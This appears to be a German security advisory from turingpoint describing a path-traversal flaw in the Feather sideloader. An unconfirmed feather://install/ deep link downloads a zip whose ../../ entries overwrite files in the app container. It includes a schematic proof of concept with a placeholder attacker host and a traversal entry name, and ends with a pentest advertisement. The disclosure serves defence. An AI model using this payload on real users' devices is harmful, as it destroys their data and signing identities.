Feather: Beliebiges Dateischreiben über den unbestätigten `feather://install/`-Deep-Link
Ein einziger feather://install/-Deep-Link lässt Feather ein Archiv ohne Bestätigung entpacken und über Pfad-Traversal Dateien in Documents/ und Library/ überschreiben.
Advisory-ID: TP-2026-077
Produkt: Feather (Sideloader für iOS- und macOS-Apps)
Schwachstellentyp: Pfad-Traversal / beliebiges Dateischreiben (CWE-22, CWE-1395)
CVE: nicht beantragt
CVSS: Moderate (Hersteller-Einstufung, kein Vektor veröffentlicht)
Betroffene Versionen: <= 2.9.0
Status: Vom Hersteller veröffentlicht; keine Fix-Version benannt (Abhilfe: marmelroy/Zip auf Commit 6940cebe pinnen)
Hersteller-Advisory: GHSA-r8pm-8xc6-rwhq
Gemeldet: 15. August 2026
Zusammenfassung
Feather ist ein Sideloader für iOS- und macOS-Apps. Der Deep-Link feather://install/<https-url> löst ohne jede In-App-Bestätigung einen Download aus, dessen Archiv anschließend mit Zip.unzipFile(..., overwrite: true) entpackt wird. Die gepinnte Zip-Bibliothek marmelroy/Zip 2.1.2 prüft Eintragsnamen nicht auf Traversal, sodass ../../ aus dem Arbeitsverzeichnis heraus Documents/ und Library/ erreicht. Ein Angreifer überschreibt so mit einem einzigen Deep-Link kritische Dateien, etwa das TLS-Zertifikat des Install-Servers oder die App-Datenbank, was den Dienst lahmlegt und die Apple-Signieridentitäten des Nutzers löscht. turingpoint hat den Ablauf verifiziert und verantwortungsvoll gemeldet.
Ursache
FeatherApp.swift:125-129 reicht feather://install/<https-url> ohne In-App-Bestätigung direkt an DownloadManager.startDownload(from:) weiter. Der fertige Download geht über DownloadManager.swift:210 an FR.handlePackageFile und erreicht AppFileHandler.extract() (FR.swift:26), das Zip.unzipFile(..., overwrite: true) aufruft (AppFileHandler.swift:63). Die gepinnte marmelroy/Zip 2.1.2 fügt den rohen Eintragsnamen per appendingPathComponent zusammen (Zip/Zip.swift:179), legt fehlende Elternverzeichnisse an (:200) und schreibt per fopen(fullPath,"wb") (:210) ohne Traversal-Prüfung. Das Arbeitsverzeichnis <container>/tmp/FeatherImport_<uuid>/ liegt genau zwei Ebenen unter dem Container-Root, sodass ../../ nach Documents/ und Library/ gelangt; die einzige Prüfung auf dem Pfad ist ein hasPrefix("https://") (URL+validateScheme.swift:14) ohne Host-Allowlist. Der Import meldet Erfolg und rollt ein reines Traversal-Archiv nicht zurück, sodass überschriebene Dateien wie Documents/server.pem oder Feather.sqlite den Install-Server still ausfallen lassen und über _destroyStore die Signieridentitäten in Documents/Certificates löschen.
Proof of Concept
Schematisch, ein einziger Deep-Link:
feather://install/https://<angreifer-host>/pkg.zip
pkg.zip enthaelt einen Eintrag mit Traversal-Namen, z. B. ../../Documents/server.pem
-> ohne Bestaetigung heruntergeladen und entpackt; der geschriebene Pfad verlaesst
das Arbeitsverzeichnis und ueberschreibt Dateien in Documents/ bzw. Library/.
Weil vor dem Entpacken keine Bestätigung steht und die Zip-Bibliothek Eintragsnamen nicht prüft, verlässt ein ../../-Eintrag das Arbeitsverzeichnis; der Import meldet dennoch Erfolg.
Auswirkung
- Überschreiben beliebiger Dateien in
Documents/undLibrary/des App-Containers mit einem einzigen Deep-Link. - Stiller Dauerausfall des Install-Servers durch ein zerstörtes TLS-Zertifikat (
server.pem). - Löschen der Apple-Signieridentitäten des Nutzers über die Fehlerbehandlung der beschädigten App-Datenbank.
- Umleiten des
itms-services://-Manifests durch überschriebene Zertifikatsdateien.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
